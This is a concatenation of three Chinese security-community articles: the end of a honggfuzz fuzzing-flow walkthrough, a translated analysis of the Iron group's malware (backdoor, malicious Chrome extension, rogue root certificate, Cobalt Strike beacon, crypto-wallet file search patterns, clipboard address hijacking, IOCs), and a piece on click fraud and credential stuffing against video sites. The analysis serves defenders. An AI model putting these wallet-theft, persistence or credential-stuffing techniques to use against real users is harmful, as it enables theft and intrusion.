void __sanitizer_cov_trace_(const)_cmp4(uint32_t Arg1, uint32_t Arg2);
void __sanitizer_cov_trace_(const)_cmp8(uint64_t Arg1, uint64_t Arg2);
// Val是switch操作数
// Cases[0]是case常量的数目
// Cases[1]是Val的位数
// Cases[2:]是case常量
void __sanitizer_cov_trace_switch(uint64_t Val, uint64_t *Cases);
instrument.c中的回调函数如下。`__builtin_popcount(x)`会计算x中1的位数，所以v的值表示Arg1和Arg2有多少位相同。和memorycmp.c基本含义是相同的。
还有一些标志用的不多或者原理类似，就不再赘述了。
## fuzz流程
说完了关于SanitizerCoverage的问题我们从honggfuzz.c的main函数开始分析fuzz流程。经过一系列初始化之后调用了`fuzz_threadsStart`函数。
hfuzz是一个包含各种fuzz所需信息的结构体，各个结构体的含义根据名称应该很容易理解。
在前面解析命令行参数的cmdlineParse函数中，`hfuzz.feedback.dynFileMethod`默认设置为`_HF_DYNFILE_SOFT`，即基于软件的反馈驱动fuzz。如果命令行中有-x选项，表示采用static/dry mode，即不采用反馈驱动。
`fuzz_threadsStart`函数中不是static/dry
mode设置当前state为`_HF_STATE_DYNAMIC_DRY_RUN`，进入第一阶段Dry Run。
接下来调用了`subproc_runThread`->`pthread_create`->`fuzz_threadNew`->`fuzz_fuzzLoop`函数。`fuzz_fuzzLoop`函数如下所示。
`fuzz_fuzzLoop`函数首先调用了`fuzz_fetchInput`函数，因为当前的state是`_HF_STATE_DYNAMIC_DRY_RUN`，所以接着调用了`input_prepareStaticFile`函数取得一个文件并返回。
接下来调用了`subproc_Run`函数。
`subproc_Run`函数首先调用了`subproc_New`函数，在`subproc_New`函数中clone出一个子进程调用`arch_launchChild`函数，在`arch_launchChild`函数中运行了被fuzz的程序。
`subproc_New`函数返回后调用`arch_reapChild`函数，`arch_reapChild`函数中调用了`arch_checkWait`函数。`arch_checkWait`函数等待子进程返回并调用`arch_traceAnalyze`函数。如果子进程返回状态为暂停，并且是我们感兴趣的信号时，如果是fuzz进程则调用`arch_traceSaveData`函数(`fuzz_fuzzLoop`函数调用`subproc_Run`函数的情况，下文同)；如果是其它进程则调用`arch_traceAnalyzeData`函数(`fuzz_fuzzLoop`函数调用`fuzz_runVerifier`函数的情况，下文同)。前者进行的是完整的分析，后者仅仅栈回溯然后计算stack
hash。
如果子进程返回状态为退出，并且是sanitizer中定义的exitcode时，调用`arch_traceExitAnalyze`函数。在`arch_traceExitAnalyze`函数中如果是fuzz进程调用`arch_traceExitSaveData`函数；如果是其它进程调用`arch_traceExitAnalyzeData`函数。在`arch_traceExitSaveData`函数中首先增加全局crash计数，调用`arch_parseAsanReport`函数解析asan报告。
如果设置ignoreAddr，忽略crash地址小于ignoreAddr的情况。
计算stack hash和crash PC，忽略stack hash在黑名单上的情况。
根据得到的信息将crash保存为固定文件名的格式，生成报告。在`arch_traceExitAnalyzeData`函数中只会解析asan报告和计算stack
hash。
回到`fuzz_fuzzLoop`函数，最后调用`fuzz_perfFeedback`函数更新代码覆盖率相关信息，`fuzz_runVerifier`函数指示是否应该使用当前验证的crash更新report。在`fuzz_perfFeedback`函数中如果当前的文件增加了代码覆盖率调用`fuzz_addFileToFileQ`函数将它加到语料库中。
经过多次调用，当`fuzz_fetchInput`函数调用`input_prepareStaticFile`函数无法再得到新的文件返回false之后调用`fuzz_setDynamicMainState`函数设置当前state为`_HF_STATE_DYNAMIC_SWITCH_TO_MAIN`，进入第二阶段Switching
to Dynamic Main(Feedback Driven
Mode)。当所有的线程都进入第二阶段以后设置当前state为`_HF_STATE_DYNAMIC_MAIN`，进入第三阶段Dynamic
Main(Feedback Driven Mode)。
返回到`fuzz_fetchInput`函数，调用`input_prepareDynamicInput`函数准备输入数据并变异。文件的来源为之前`fuzz_addFileToFileQ`函数添加的。
至此honggfuzz的fuzz流程我们就大致分析完了。作者水平有限，文章若有不当之处还望各位指正。
## 参考资料
1.[Clang 9 documentation](https://clang.llvm.org/docs/SanitizerCoverage.html)
2.[honggfuzz漏洞挖掘技术深究系列](https://bbs.pediy.com/thread-247954.htm) | 社区文章 |
# 对近期Iron组织的恶意软件分析
|
##### 译文声明
本文是翻译文章，文章来源：https://www.intezer.com/
原文地址：<https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/>
译文仅供参考，具体内容表达以及含义原文为准。
在2018年4月，在监视公共数据馈送的同时，我们注意到一个有趣且以前未知的使用HackingTeam泄露的RCS源代码的后门。我们发现这个后门是由Iron网络犯罪集团开发的，后者是Iron勒索软件（[Bart
Parys最近发现的剥离Maktub勒索软件](https://bartblaze.blogspot.co.il/2018/04/maktub-ransomware-possibly-rebranded-as.html)）的幕后团队，我们相信这在过去的18个月里一直活跃。
在过去一年半的时间里，Iron集团为Windows，Linux和Android平台开发了多种类型的恶意软件（后门，加密矿工和勒索软件）。他们利用他们的恶意软件成功感染了至少数千名受害者。
在这篇技术博客文章中，我们将看看研究期间发现的恶意软件样本。
## 安装
**此安装程序样本（以及大多数找到的样本）受VMProtect保护，然后使用UPX进行压缩。
### 安装过程
1.检查二进制文件是否在虚拟机上执行，如果是的话 – ExitProcess
2.删除并安装恶意Chrome浏览器扩展程序
％localappdata％ Temp chrome.crx
3.将恶意Chrome扩展程序解压缩到％localappdata％ Temp chrome并创建执行％localappdata％ Temp chrome
sec.vbs的计划任务。
4.使用CPU的版本创建互斥，以确保其本身不存在任何正在运行的实例。
5.将后门DLL删除到％localappdata％ Temp <random> .dat。
6.检查操作系统版本：
。如果版本== Windows XP然后只调用’启动’导出Iron Backdoor进行一次性非永久执行。
。如果版本> Windows XP –
调用’启动’导出
检查是否Qhioo360 – 如果不存在，则安装用于以root CA身份标记Iron
Backdoor二进制文件的恶意证书。然后创建一个名为’helpsvc’的服务，指向Iron Backdoor dll。
##
## 使用泄露的HackingTeam源代码
一旦我们[分析了](https://analyze.intezer.com/#/)后门样本，我们立即发现它部分基于HackingTeam的[远程控制系统](https://en.wikipedia.org/wiki/Hacking_Team)黑客工具的源代码，该工具大约在[3年前泄露](https://thehackernews.com/2015/07/Italian-hacking-team-software.html)。进一步的分析表明，Iron网络犯罪集团在IronStealer和Iron勒索软件中使用了HackingTeam的两个主要功能。
**1\. Anti-VM** ： Iron
Backdoor使用直接从HackingTeam的“Soldier”植入漏洞源代码获取的虚拟机检测代码。这段代码支持检测Cuckoo
Sandbox，VMWare产品和Oracle的VirtualBox。截图：
**2\. 动态函数调用** ： Iron
Backdoor还使用HackingTeam的“核心”库中的[DynamicCall](https://thehackernews.com/2015/07/Italian-hacking-team-software.html)模块。此模块用于通过混淆函数名称动态调用外部库函数，这使得此恶意软件的静态分析更为复杂。
在以下屏幕截图中，您可以看到代表“ kernel32.dll ”和“ CreateFileMappingA ”API的混淆的“ LFSOFM43 / EMM
”和“ DsfbufGjmfNbqqjoh B” 。
有关混淆API的完整列表，您可以访问obfuscated_calls.h
**恶意Chrome扩展程序：**
流行的[Adblock Plus chrome](https://chrome.google.com/webstore/detail/adblock-plus/cfhdojbkjhnklbpkdaibdccddilifddb)扩展的补丁版本用于注入浏览器内的加密挖掘模块（[基于CryptoNoter](https://github.com/cryptonoter)）和浏览器内付款劫持模块。
修补程序include.preload.js从攻击者的Pastebin帐户注入两个恶意脚本。
恶意扩展不仅在用户打开浏览器时加载，而且还在后台不断运行，充当隐形主机的加密矿工。恶意软件会设置一个计划任务，检查chrome是否每分钟都在运行，如果没有，它会“静默
– 启动”它，如下图所示：
**Internet Explorer（不建议使用）：**
Iron
Backdoor本身嵌入了[adblockplusie](https://github.com/adblockplus/adblockplusie) –
用于IE的Adblock Plus，它以类似恶意Chrome扩展的方式修改，注入了远程javascript。看起来这个功能不再被自动使用，原因不明。
**持久性后门：**
在将自己安装为Windows服务之前，通过阅读以下注册表项，恶意软件会检查360 Safe Guard或360 Internet
Security的存在情况：
。系统 CURRENTCONTROLSET SERVICES zhudongfangyu。
。系统 CURRENTCONTROLSET SERVICES 360rp
如果安装了其中一种产品，恶意软件将只运行一次，而不会持续存在。否则，恶意软件将继续在受害者的工作站上安装rouge，硬编码的根CA证书。这个假根CA据称签署了恶意软件的二进制文件，这将使它们看起来合法。
戏剧性的是：[该证书受密码“
caonima123”保护，这意味着用普通话“操你妈”。](https://www.urbandictionary.com/define.php?term=Cao%20ni%20ma)
**IronStealer（ <RANDOM> .dat）：**
是恶意软件删除的加密货币盗窃模块持久性的后门文件。
**1\. 加载Cobalt Strike beacon：**
恶意软件会自动解密硬编码的shellcode阶段1，然后使用反射加载器将内存中的Cobalt Strike信标加载到内存中：
**Beacon: hxxp://dazqc4f140wtl.cloudfront[.]net/ZZYO**
**2\. 删除和执行有效载荷：有效载荷URL从硬编码的Pastebin粘贴地址中获取：**
我们观察到恶意软件丢弃了两种不同的有效载荷：
**1\. Xagent** – [“ JbossMiner挖掘蠕虫
”](https://yq.aliyun.com/articles/558034)的变体-一种用Python编写的蠕虫，它使用PyInstaller编译，用于Windows和Linux平台。JbossMiner使用已知的数据库漏洞进行传播。“Xagent”是原始文件名Xagent
<VER> .exe，而<VER>似乎是蠕虫的版本。观察的最后一个版本是版本6（Xagent6.exe）。
** VT所见的Xagent版本4-6
**2.Iron ransomware** -我们最近看到了从放弃Xagent到放弃[Iron
ransomware](https://bartblaze.blogspot.co.il/2018/04/maktub-ransomware-possibly-rebranded-as.html)的变化。看来钱包和付款门户网站地址与Bart观察到的地址相同。索要的赎金从0.2 BTC降至0.05
BTC，很可能是由于他们收到的[付款不足](https://blockchain.info/address/1cimKyzS64PRNEiG89iFU3qzckVuEQuUj)。
**没有人支付，所以他们减少赎金到0.05 BTC
**3.从受害者的工作站窃取加密货币**
：Iron后门将释放最新的[voidtool](https://www.voidtools.com/)所有搜索工具，并实际静默地使用msiexec将其安装到受害者的工作站上。安装完成后，Iron
Backdoor使用Everything来查找可能包含加密货币钱包的文件，按英文和中文文件名模式查找。
从样本中提取的模式的完整列表：
– Wallet.dat
– UTC–
– Etherenum keystore filename
– _bitcoin_.txt
– _比特币_.txt
– “Bitcoin”
– _monero_.txt
– _门罗币_.txt
– “Monroe Coin”
– _litecoin_.txt
– _莱特币_.txt
– “Litecoin”
– _Ethereum_.txt
– _以太币_.txt
– “Ethereum”
– _miner_.txt
– _挖矿_.txt
– “Mining”
– _blockchain_.txt
– _coinbase_
**4\. 利用加密货币劫持正在进行的付款：**
IronStealer会持续监控用户的剪贴板上的比特币，Monero以及Ethereum钱包地址正则表达式模式。一旦匹配，它会自动将其替换为攻击者的钱包地址，以便受害者不知不觉将资金转移到攻击者的帐户
**Pastebin帐户：**
作为调查的一部分，我们还试图找出我们可能从攻击者的Pastebin帐户中学到的额外信息：
该帐户可能是使用邮件<a
href=”https://community.riskiq.com/search/whois/email/[[email protected]](mailto:[email protected])“>fineisgood123
@ gmail [。] com创建的 – 用于注册blockbitcoin [。] com（攻击者的加密挖掘池和恶意软件主机）和swb [。]
com（旧服务器用于主机恶意软件和泄露的文件。由u.cacheoffer [。] tk取代：）
**1\. Index.html：** HTML页面，指的是一个虚假的Firefox下载页面。
**2\. crystal_ext-min + angular：** JS注入使用恶意Chrome扩展。
**3\. android：** 这个粘贴包含一个命令行，用于在受感染的Android设备上执行未知的后台应用程序。该命令行调用远程[Metasploit
stager](https://www.virustotal.com/#/file/fc37713a25e32cee8a2748b8d8fde641f4a67a1987c5a26f8ec7951b091f634e)（android.apk）并删除为ARM处理器构建的[cpuminer
2.3.2](https://www.virustotal.com/#/file/3b92f3b878112fc093392421281aff4449aac0ade84b840b044dee824592f2d5)（minerd.txt）。考虑到上次更新日期（18/11/17）以及较少的浏览次数，我们认为该粘贴已过时。
**4\. androidminer：**
保存cpuminer命令行来执行未知的恶意android应用程序，在写这篇文章时，这个贴子获得了近2000次点击。
Aikapool [。] com是一个公共采矿池，端口7915用于DogeCoin：
Aikapool [。] com是一个公共采矿池，端口7915用于DogeCoin：
用户名（myapp2150）用于在多个论坛和[Reddit](https://www.reddit.com/user/myapp2150)上注册帐户。这些帐户被用于通过伪造的“[区块链利用工具](https://www.virustotal.com/#/file/04f70aa20682c9b29715ddd078b314730c62a9cececcd35347f4ee315e669d7f)”进行广告宣传，该工具通过Cobalt
Strike使用与[Malwrologist](https://twitter.com/sS55752750/status/989180154994884608)（ps5.sct）发现相似的VBScript脚本来感染受害者的机器。
**XAttacker** ：XAttacker
[PHP远程文件上传脚本](https://github.com/Moham3dRiahi/XAttacker/blob/master/XAttacker.php)的副本
**矿工：** 持有有效载荷URL，如上所述（IronStealer）
**FAQ:**
**有多少受感染者？**
这很难确定，但据我们所知，攻击者的贴图总数大约接受14K的观看次数，大约11K的有效负载URL和android矿工贴图的大约2K。基于此，我们估计该小组已成功感染了几千名受害者。
**谁是 Iron group背后组织者？**
我们怀疑该团体背后的人是中国人，部分原因是由于以下情况：
1、插件中有几处中文留言。
2、根CA证书密码（使用中文’f * ck your mom123’）
我们还怀疑大多数受害者位于中国，因为有以下结果：
1、在受害者的工作站上搜索中文钱包文件名称。
2、如果发现Qhioo360（中国著名的杀毒软件安全厂商），病毒样本将不会被执行。
**IOCS:**
• blockbitcoin[.]com
• pool.blockbitcoin[.]com
• ssl2.blockbitcoin[.]com
• xmr.enjoytopic[.]tk
• down.cacheoffer[.]tk
• dzebppteh32lz.cloudfront[.]net
• dazqc4f140wtl.cloudfront[.]net
• androidapt.s3-accelerate.amazonaws[.]com
• androidapt.s3-accelerate.amazonaws[.]com
• winapt.s3-accelerate.amazonaws[.]com
• swb[.]one
• bitcoinwallet8[.]com
• blockchaln[.]info
• 6350a42d423d61eb03a33011b6054fb7793108b7e71aee15c198d3480653d8b7
• a4faaa0019fb63e55771161e34910971fd8fe88abda0ab7dd1c90cfe5f573a23
• ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9
• 654ec27ea99c44edc03f1f3971d2a898b9f1441de156832d1507590a47b41190
• 980a39b6b72a7c8e73f4b6d282fae79ce9e7934ee24a88dde2eead0d5f238bda
• 39a991c014f3093cdc878b41b527e5507c58815d95bdb1f9b5f90546b6f2b1f6
• a3c8091d00575946aca830f82a8406cba87aa0b425268fa2e857f98f619de298
• 0f7b9151f5ff4b35761d4c0c755b6918a580fae52182de9ba9780d5a1f1beee8
• ea338755e8104d654e7d38170aaae305930feabf38ea946083bb68e8d76a0af3
• 4de16be6a9de62b1ff333dd94e63128e677eb6a52d9fbbe55d8a09a2cab161f1
• 92b4eed5d17cb9892a9fe146d61787025797e147655196f94d8eaf691c34be8c
• 6314162df5bc2db1200d20221641abaac09ac48bc5402ec29191fd955c55f031
• 7f3c07454dab46b27e11fcefd0101189aa31e84f8498dcb85db2b010c02ec190
• 927e61b57c124701f9d22abbc72f34ebe71bf1cd717719f8fc6008406033b3e9
• f1cbacea1c6d05cd5aa6fc9532f5ead67220d15008db9fa29afaaf134645e9de
• 1d34a52f9c11d4bf572bf678a95979046804109e288f38dfd538a57a12fc9fd1
• 2f5fb4e1072044149b32603860be0857227ed12cde223b5be787c10bcedbc51a
• 0df1105cbd7bb01dca7e544fb22f45a7b9ad04af3ffaf747b5ecc2ffcd8c6dee
• 388c1aecdceab476df8619e2d722be8e5987384b08c7b810662e26c42caf1310
• 0b8473d3f07a29820f456b09f9dc28e70af75f9dec88668fb421a315eec9cb63
• 251345b721e0587f1f08f54a81e26abac075acf3c4473a2c3ba8efcedc3b2459
• b1fe223cbb01ff2a658c8ff51d386b5df786fd36278ee081c714adf946145047
• 2886e25a86a57355a8a09a84781a9b032de10c3e40339a9ad0c10b63f7f8e7c7
• 1d17eb102e75c08ab6f54387727b12ec9f9ee1960c8e5dc7f9925d41a943cabf
• 5831dabe27e0211028296546d4e637770fd1ec5f2c8c5add51d0ea09b6ea3f0d
• 85b0d44f3e8fd636a798960476a1f71d6fe040fbe44c92dfa403d0d014ff66cc
• 936f4ce3570017ef5db14fb68f5e775a417b65f3b07094475798f24878d84907
• 484b4cd953c9993090947fbb31626b76d7eee60c106867aa17e408556d27b609
• 1cbd51d387561cafddf10699177a267cd5d2d184842bb43755a0626fdc4f0f3c
• e41a805d780251cb591bcd02e5866280f8a99f876cfa882b557951e30dfdd142
• b8107197469839a82cae25c3d3b5c25b5c0784736ca3b611eb3e8e3ced8ec950
• b0442643d321003af965f0f41eb90cff2a198d11b50181ef8b6f530dd22226a7
• 657a3a4a78054b8d6027a39a5370f26665ee10e46673a1f4e822a2a31168e5f9
• 5977bee625ed3e91c7f30b09be9133c5838c59810659057dcfd1a5e2cf7c1936
• 9ea69b49b6707a249e001b5f2caaab9ee6f6f546906445a8c51183aafe631e9f
• 283536c26bb4fd4ea597d59c77a84ab812656f8fe980aa8556d44f9e954b1450
• 21f1a867fa6a418067be9c68d588e2eeba816bffcb10c9512f3b7927612a1221
• 45f794304919c8aa9282b0ee84c198703a41cc2254fe93634642ada3511239d2
• 70e47fdff286fdfe031d05488bc727f5df257eacaa0d29431fb69ce680f6fb0c
• ce7161381a0a0495ef998b5e202eb3e8fa2945dfdba0fd2a612d68b986c92678
• b8d548ab2a1ce0cf51947e63b37fe57a0c9b105b2ef36b0abc1abf26d848be00
• 74e777af58a8ee2cff4f9f18013e5b39a82a4c4f66ea3e17d06e5356085265b7
• cd4d1a6b3efb3d280b8d4e77e306e05157f6ef8a226d7db08ac2006cce95997c
• 78a07502443145d762536afaabd4d6139b81ca3cc9f8c28427ec724a3107e17b
• 729ab4ff5da471f210a8658f4a7b2a30522534a212ac44e4d76f258baab19ccb
• ca0df32504d3cf78d629e33b055213df5f71db3d5a0313ebc07fe2c05e506826
• fc9d150d1a7cbda2600e4892baad91b9a4b8c52d31a41fd686c21c7801d1dd8c
• bf2984b866c449a8460789de5871864eec19a7f9cadd7d883898135a4898a38a
• 9d817d77b651d2627e37c01037e13808e1047f9528799a435c7bc04e877d70b3
• 8fdec2e23032a028b8bd326dc709258a2f705c605f6222fc0c1616912f246f91
• dbe165a63ed14e6c9bdcd314cf54d173e68db9d36623b09057d0a4d0519f1306
• 64f96042ab880c0f2cd4c39941199806737957860387a65939b656d7116f0c7e
• e394b1a1561c94621dbd63f7b8ea7361485a1f903f86800d50bd7e27ad801a5f
• 506647c5bfad858ff6c34f93c74407782abbac4da572d9f44112fee5238d9ae1
• 194362ce71adcdfa0fe976322a7def8bb2d7fb3d67a44716aa29c2048f87f5bc
• 3652ea75ce5d8cfa0000a40234ae3d955781bcb327eecfee8f0e2ecae3a82870
• 97d41633e74eccf97918d248b344e62431b74c9447032e9271ed0b5340e1dba0
• a8ab5be12ca80c530e3ef5627e97e7e38e12eaf968bf049eb58ccc27f134dc7f
• 37bea5b0a24fa6fed0b1649189a998a0e51650dd640531fe78b6db6a196917a7
• 7e750be346f124c28ddde43e87d0fbc68f33673435dddb98dda48aa3918ce3bd
• fcb700dbb47e035f5379d9ce1ada549583d4704c1f5531217308367f2d4bd302
• b638dcce061ed2aa5a1f2d56fc5e909aa1c1a28636605a3e4c0ad72d49b7aec6
• f2e4528049f598bdb25ce109a669a1f446c6a47739320a903a9254f7d3c69427
• afd7ab6b06b87545c3a6cdedfefa63d5777df044d918a505afe0f57179f246e9
• 9b654fd24a175784e3103d83eba5be6321142775cf8c11c933746d501ca1a5a1
• e6c717b06d7ded23408461848ad0ee734f77b17e399c6788e68bc15219f155d7
• e302aa06ad76b7e26e7ba2c3276017c9e127e0f16834fb7c8deae2141db09542
• d020ea8159bb3f99f394cd54677e60fadbff2b91e1a2e91d1c43ba4d7624244d
• 36104d9b7897c8b550a9fad9fe2f119e16d82fb028f682d39a73722822065bd3
• d20cd3e579a04c5c878b87cc7bd6050540c68fdd8e28f528f68d70c77d996b16
• ee859581b2fcea5d4ff633b5e40610639cd6b11c2b4fc420720198f49fbd1d31
• ef2c384c795d5ca8ce17394e278b5c98f293a76047a06fc672da38bb56756aec
• bd56db8d304f36af7cb0380dcbbc3c51091e3542261affb6caac18fa6a6988ec
• 086d989f14e14628af821b72db00d0ef16f23ba4d9eaed2ec03d003e5f3a96a1
• f44c3fd546b8c74cc58630ebcb5bea417696fac4bb89d00da42202f40da31354
• 320bb1efa1263c636702188cd97f68699aebbb88c2c2c92bf97a68e689fa6f89
• 42faf3af09b955de1aead2b99a474801b2c97601a52541af59d35711fafb7c6d
• 6e0adfd1e30c116210f469d76e60f316768922df7512d40d5faf65820904821b
• eea2d72f3c9bed48d4f5c5ad2bef8b0d29509fc9e650655c6c5532cb39e03268
• 1a31e09a2a982a0fedd8e398228918b17e1bde6b20f1faf291316e00d4a89c61
• 042efe5c5226dd19361fb832bdd29267276d7fa7a23eca5ced3c2bb7b4d30f7d
• 274717d4a4080a6f2448931832f9eeb91cc0cbe69ff65f2751a9ace86a76e670
• f8751a004489926ceb03321ea3494c54d971257d48dadbae9e8a3c5285bd6992
• d5a296bac02b0b536342e8fb3b9cb40414ea86aa602353bc2c7be18386b13094
• 49cfeb6505f0728290286915f5d593a1707e15effcfb62af1dd48e8b46a87975
• 5f2b13cb2e865bb09a220a7c50acc3b79f7046c6b83dbaafd9809ecd00efc49a
• 5a5bbc3c2bc2d3975bc003eb5bf9528c1c5bf400fac09098490ea9b5f6da981f
• 2c025f9ffb7d42fcc0dc8d056a444db90661fb6e38ead620d325bee9adc2750e
• aaa6ee07d1c777b8507b6bd7fa06ed6f559b1d5e79206c599a8286a0a42fe847
• ac89400597a69251ee7fc208ad37b0e3066994d708e15d75c8b552c50b57f16a
• a11bf4e721d58fcf0f44110e17298f6dc6e6c06919c65438520d6e90c7f64d40
• 017bdd6a7870d120bd0db0f75b525ddccd6292a33aee3eecf70746c2d37398bf
• ae366fa5f845c619cacd583915754e655ad7d819b64977f819f3260277160141
• 9b40a0cd49d4dd025afbc18b42b0658e9b0707b75bb818ab70464d8a73339d52
• 57daa27e04abfbc036856a22133cbcbd1edb0662617256bce6791e7848a12beb
• 6c54b73320288c11494279be63aeda278c6932b887fc88c21c4c38f0e18f1d01
• ba644e050d1b10b9fd61ac22e5c1539f783fe87987543d76a4bb6f2f7e9eb737
• 21a83eeff87fba78248b137bfcca378efcce4a732314538d2e6cd3c9c2dd5290
• 2566b0f67522e64a38211e3fe66f340daaadaf3bcc0142f06f252347ebf4dc79
• 692ae8620e2065ad2717a9b7a1958221cf3fcb7daea181b04e258e1fc2705c1e
• 426bc7ffabf01ebfbcd50d34aecb76e85f69e3abcc70e0bcd8ed3d7247dba76e | 社区文章 |
# 狂砸百亿美金，黑产半路截胡，视频三巨头被迫上演“抢钱大战”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
一边是，美报告：中国电视节目支出全球第二，万亿市场未来可期；另一边，视频三大巨头且“亏”且行，难念“盈利经”……
2018 IHS Markit报告数据图示
昨日，美国CNBC报道了IHS Markit的分析报告，报告显示，中国2017年的电视节目支出达到109亿美元，跃居全球第二大电视节目消费国。
这其中，网络视频崛起扮演者重要角色：
> 2012年8月，优土完成合并，舆论一边倒，大家认为优土垄断格局已形成，并预言国内网络视频之争将走向终结；
>
> 2013年6月，乐视网股价一路飙升，并以218.4亿元的市值，超越视频行业老大优土，不到一年时间，一家独大的神话被打破；
>
> 2014年4月，快播东窗事发，总部突遭警方调查，CEO 王欣一度失联，后在逃往境外110天被抓捕归案；
>
> 2015年10月，阿里45亿美金收购优土，网络视频行业面临重新洗牌；
>
> 2016年11月，乐视集团资金链出现问题，面临债务危机，掉出第一梯队；
至此，整个网络视频行业局势逐渐清晰，优酷土豆（阿里）、爱奇艺（百度）、腾讯视频（腾讯）三足鼎立日趋稳定。
殊不知，流量巨头的背后，是年年亏损的财报，以及盈利模式单一的难题。为了获得版权扩大影响力占据更多市场，三巨头烧钱速度不减。据悉，在2018年初，优酷和腾讯视频作出了亏损80亿元的年预算，爱奇艺则为30亿元。
挤掉快播后，杀出重围的三巨头猛然发现，黑产大军已在蚕食网络视频市场……
## 1\. 黑产捞钱三板斧，刀刀见血
从优土合并，到爱奇艺兼并PPS，PPTV投靠苏宁云商，搜狐并购了56网，再到王牌乐视沦为行业毒瘤。十余年的时间，铁打的黑产，流水的酷6、6间房、激动网、爆米花……
不管你是非主流意识形态的小平台也好，还是爱奇艺、优土、腾讯视频三巨头也罢，黑产捞钱三板斧（刷量、撞库、盗版）下来，就算侥幸不死，也会落得个终身残疾。
关于“刷量”，在Magiccc的文章中不止一次提到，点击、评论评分、榜单排名等这些在视频网站看来的所谓核心业务场景，在黑产眼里，不过是一堆数字。只要有钱，什么全球人都在看，全银河都说好，全宇宙第一都敢给你刷出来。
往期有关“刷量”报道：
[黑产这次玩的有点大，惊动了国家电影局！](https://mp.weixin.qq.com/s/8-stCOHjrowHhsOYuoj75w)
[全球人口不足一部剧点击量，千元刷上亿点击，刷量黑色产业链了解一下](https://www.anquanke.com/post/id/156471)
针对刷量大军，爱奇艺首先出击，起诉杭州飞益信息科技有限公司刷量行为,并索赔500万元人民币。这一全国首例，因网站“刷量”引发的不正当竞争案，也从去年一直打到今年。
爱奇艺官方表示，黑产团伙集中借助上海地区的服务器连续访问爱奇艺视频内容，在短时间内迅速提高指定视频内容的访问量，这种行为营造出“热播”假象。严重干扰了视频网站的正常功能，同时，对视频网站平台制定视频内容推荐、版权采购、广告合作、服务器布局等一系列重大经营策略均遭造成严重的影响，对爱奇艺公司自身、上游的视频内容供应商、下游的广告商以及真实用户都造成极为严重的损失！
同时，爱奇艺法务高级总监王岩表示：针对“刷量”行为，目前在国内最大的问题是并没有针对此的专门的法律条款制约。只能以《反不正当竞争法》以及破坏计算机信息系统罪尝试追责。并希望相关部门就行业中持续出现的“刷量”问题尽快制定具体的法律规定，以便更好的净化并促进整个行业的发展。
另一方面，技术手段也是平台打击刷量行为的重要手段之一。目前网络视频网站先后开始组建技术团队展开反作弊行为研究，并联合安全服务商，借助创新性的团伙发现思路，利用人工智能技术，以及大数据监控系统，与黑产团伙博弈。
从当前供需市场来看，“刷量”仍然存在。Magiccc打听到，当前三大巨头“刷量”业务最新报价如下：
> 腾讯视频，5元/万点击量
>
> 优酷视频，5元/万点击量（不补量），补量22元/万点击量
>
> 爱奇艺，75元/万点击量，虽然贵点，但是一天刷个上千万没问题
关于撞库，之前Magiccc认为三大视频巨头背靠BAT，对于账号安全这块应该是问题不大，也就没怎么关注。直到提笔写这篇文章才发现，这里面问题很大……
这里面最惨的还是爱奇艺，丧心病狂到什么程度？
百度搜索“爱奇艺会员”，曾经一度首页被所谓的“爱奇艺会员账号共享”信息霸屏！另外，生怕你不会操作，百度经验至今还保留“爱奇艺会员账号共享怎样免费使用爱奇艺vip账号”的图文攻略……
这还得了，狂砸数十亿，好不容易买来的版权，换来的却是被黑产按在地上摩擦。
当然，有百度撑腰，百度贴吧自然不敢作妖，目前所谓的“爱奇艺会员账号共享吧”已经被取缔。但是，这群人通过建站、微博、QQ群以及朋友圈，打起了游击……
当然，我们不排除大家互帮互助，共享共赢的互联网精神。但终究还是极个别，毕竟没有人敢拿自己的账户信息安全开玩笑。那么，这么多账号到底哪里来的呢？
根据三巨头的财报数据显示，目前腾讯视频、爱奇艺两家会员数量均突破了5000万大关，而优土付费会员规模早在16年底就已突破3000万。因为平台版权内容各不相同，在不考虑去重的情况下，这里面高达1亿的付费用户对于黑产而言简直就是金矿！
针对一个密码走天下，以及弱密码人群，在黑产眼里就是ATM。国外安全团队Keeper曾在16年公布过最常见密码排行榜，大家可以感受一下：
关于撞库，Magiccc也不止说过一次。再次搬运：
所谓“撞库”，利用的正是大家图省事，图方便，字母数字组合，甚至多平台使用相同的用户名和密码的习惯。黑产团伙在互联网上搜集人们已经泄露的手机号、身份证号、邮箱密码、QQ密码、各类网站账户密码等个人信息数据，建立包含用户名和密码在内的“社工库”。然后运用软件的自动登录功能，将“社工库”中的用户名和密码在微信上不停地尝试登录。每起撞库事件，可能包含有上千次的登录尝试。只要有一次匹配成功，就可以进入系统。后面的事情，就是大肆掠夺你的网络资产！
根据CNNIC发布的第37次《中国互联网络发展状况统计报告》显示，在15年已经有超过1.5亿的网民被盗号！
这其中，就有所谓的“扫号机”，黑市价格300元/台，根据宣传得知，每天能扫出近1000个爱奇艺会员账号，1天就能回本！而这背后，就是利用撞库，获得已充值的会员账号，以及对应的明文密码、账号类型和到期时间。
最后，就是盗版了。针对盗版，衍生的黑产就非常多了。大的有“死去”的快播，以及后来者“VIP看电影”、“乐尚视界”，小的有朋友圈、微博、QQ群卖片，通过社交平台+第三方网盘+线上支付，越做越大。
这里就不做展开，有关盗版视频市场，相信大家或多或少都有所了解。背后对于视频网站的威胁不言而喻，都去看盗版了，谁还去做付费会员。当然，Magiccc一直支持正版的，从来都不会花几块钱的红包去卖片（正经脸）！
## 2\. 视频三巨头，被迫上演“抢钱大战”
面对黑产的围攻，三巨头的还击可谓是简单暴力。爽了广告主，爽了自己，但是受伤的确实最为无辜的付费用户。
目前热播的《延禧攻略》，以及万众期待的《如懿传》为爱奇艺、腾讯两大平台贡献了不少流量以及付费用户。光Magiccc知道的，公司就有不少美少女为了追剧充了会员。因为两部剧刷票朋友圈，大家平时也都在聊，所以Magiccc也加入了刷剧大军之中。
这里给我们客户小米打个广告，充小米视频会员，附带赠送1年爱奇艺会员！可谓之良心，但是，Magiccc却被发现，每当融入到剧中的时候，突然就会弹出一个脉动的广告。
就是这个样子，分分钟就出戏了啊！！！
然后，爱奇艺相关负责人给的说法是，这是内容推荐，推荐的贴片内容涵盖热门内容推荐，抽奖、礼品赠送等VIP会员福利活动，不是付费广告，每天最多被推荐一次。所以，还是给我们会员的福利咯
最后，某市场负责人说出来实情，“一般来说，充值VIP会员的用户购买能力更强一些，属于优质潜在客户，如果投放的广告偏偏覆盖不到这些人，对企业来说，广告效果就会打折扣”
如果说爱奇艺广告针对懒癌患者是个绝杀，那么腾讯在《如懿传》上的广告就直接宣告GG。
